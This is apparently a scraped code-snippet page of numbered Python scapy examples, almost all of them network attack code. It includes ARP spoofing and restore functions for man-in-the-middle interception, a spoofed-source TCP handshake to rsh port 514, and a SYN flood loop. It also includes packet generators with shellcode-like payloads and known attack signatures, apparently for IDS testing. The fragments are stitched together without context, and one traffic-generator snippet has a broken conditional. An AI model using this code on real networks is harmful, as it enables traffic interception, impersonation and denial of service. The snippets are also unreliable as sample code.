Exemplo n.º 1
0
 def spoof(self, target_ip, spoof_ip):
     target_mac = self.get_mac(target_ip)
     paket = scapy.ARP(op=2,
                       pdst=target_ip,
                       hwdst=target_mac,
                       psrc=spoof_ip)
     scapy.send(paket, verbose=False)
Exemplo n.º 2
0
def exploit_test(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=518) / \
        Raw(load="\x01\x03\x00\x00\x00\x00\x00\x01\x00\x02\x02\xE8")
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=635) \
        / Raw(load="^\xB0\x02\x89\x06\xFE\xC8\x89F\x04\xB0\x06\x89F")
    send(pkt, iface=iface, count=count)
Exemplo n.º 3
0
def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2,
                       pdst=destination_ip,
                       hwdst=destination_mac,
                       psrc=source_ip,
                       hwsrc=source_mac)
    scapy.send(packet, count=4, verbose=False)
Exemplo n.º 4
0
def spoof_conn(src, tgt, ack):
    ip_layer = IP(src=src, dst=tgt)
    tcp_layer = TCP(sport=513, dport=514)
    syn_pkt = ip_layer / tcp_layer
    send(syn_pkt)

    ip_layer = IP(src=src, dst=tgt)
    tcp_layer = TCP(sport=513, dport=514, ack=ack)
    ack_pkt = ip_layer / tcp_layer
    send(ack_pkt)
Exemplo n.º 5
0
def restore(destination_ip, source_ip):
    """
    Send an ARP response to the destination IP correcting the MAC address for the source IP.
    """

    destination_mac_address = get_mac_address(destination_ip)
    source_mac_address = get_mac_address(source_ip)
    packet = scapy.ARP(op=2,
                       pdst=destination_ip,
                       hwdst=destination_mac_address,
                       psrc=source_ip,
                       hwsrc=source_mac_address)
    scapy.send(packet, count=4, verbose=False)
    print(
        f"[+] Reset {source_ip}'s Mac Address in {destination_ip}'s ARP table."
    )
Exemplo n.º 6
0
def spoof(target_ip, spoof_ip):
    """
    Spoof an ARP response back to the target machine
    impersonating as the spoofed IP Address.

    :param target_ip: Target Machine IP
    :param spoof_ip: IP to spoof as
    :return:
    """

    target_mac_address = get_mac_address(target_ip)
    scapy.send(scapy.ARP(op=2,
                         pdst=target_ip,
                         hwdst=target_mac_address,
                         psrc=spoof_ip),
               verbose=False)
Exemplo n.º 7
0
def ddos_test(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=678) / Raw(load='1234')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=0) / Raw(load='AAAAAAAAAA')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / UDP(dport=31335) / Raw(load='PONG')
    send(pkt, iface=iface, count=count)

    pkt = IP(src=src, dst=dst) / ICMP(type=8, id=456)
    send(pkt, iface=iface, count=count)
def scapy_generate(protocol, service, size_params, duration_params, port,
                   timer):
    # packet size per optimal distribution
    if service == "video" or "radio":
        size = int(
            scipy.stats.cauchy.rvs(loc=size_params[0], scale=size_params[1]))
    elif service == "game":
        size = int(
            scipy.stats.beta.rvs(a=size_params[0],
                                 b=size_params[1],
                                 loc=size_params[2],
                                 scale=size_params[3]))
    # duration of service per optimal distribution
    if service == "video" or service == "game":
        duration = scipy.stats.arcsine.rvs(loc=duration_params[0],
                                           scale=duration_params[1])
        if duration > 30:
            duration = 30
        timer += duration
    elif service == "radio":
        duration = scipy.stats.lognorm.rvs(s=duration_params[0],
                                           loc=duration_params[1],
                                           scale=duration_params[2])
        if duration > 30:
            duration = 30
        timer += duration

    if size > 65535:
        size = 65000
    data = ''.join(random.choice(lowercase) for _ in range(size))
    data = bytes(data, 'utf-8')
    if protocol == "udp":
        packet = scapy.IP(dst='8.0.0.1') / scapy.UDP(
            dport=port) / scapy.Raw(data)
    else:
        packet = scapy.IP(dst='8.0.0.1') / scapy.Raw(data)
    scapy.send(packet, verbose=0)
    time.sleep(duration)
    return timer
Exemplo n.º 9
0
def syn_flood(src, tgt):
    for sport in range(1024, 65535):
        ip_layer = IP(src=src, dst=tgt)
        tcp_layer = TCP(sport=sport, dport=513)
        pkt = ip_layer / tcp_layer
        send(pkt)
Exemplo n.º 10
0
def scan_test(src, dst, iface, count):
    pkt = IP(src=src, dst=dst) / UDP(dport=7) / Raw(load='cybercop')
    send(pkt)

    pkt = IP(src=src, dst=dst) / UDP(dport=10000) / Raw(load='Amanda')
    send(pkt, iface=iface, count=count)